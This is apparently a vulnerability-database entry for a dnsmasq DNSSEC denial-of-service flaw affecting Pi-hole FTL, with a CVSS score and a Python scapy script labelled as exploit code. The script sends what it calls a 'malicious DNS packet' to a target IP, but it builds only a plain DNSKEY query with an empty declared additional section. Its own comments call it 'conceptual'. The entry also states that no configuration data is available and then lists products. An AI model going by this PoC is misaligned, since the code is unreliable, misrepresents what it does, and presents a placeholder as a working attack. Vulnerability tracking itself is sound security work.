A Denial of Service (DoS) vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Pi-hole FTL < v6.6.2
Dnsmasq (请参考官方thekelleys.org.uk发布的受影响版本列表)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
# Define the target IP address
target_ip = "192.168.1.1"
# Craft a malicious DNS packet triggering DNSSEC validation issue
# This is a conceptual PoC, actual exploit packet structure depends on specific vulnerability details.
packet = IP(dst=target_ip) / UDP(dport=53) / DNS(
id=0x1337,
qr=0,
opcode=0,
rd=1,
qdcount=1,
qd=DNSQR(qname="example.com", qtype="DNSKEY"),
# Malicious additional section that might trigger the validation flaw
# In a real scenario, specific malformed RRSIG or DNSKEY records would be constructed
arcount=1
)
print(f"[*] Sending malicious DNS packet to {target_ip}...")
send(packet, verbose=0)
print("[+] Packet sent.")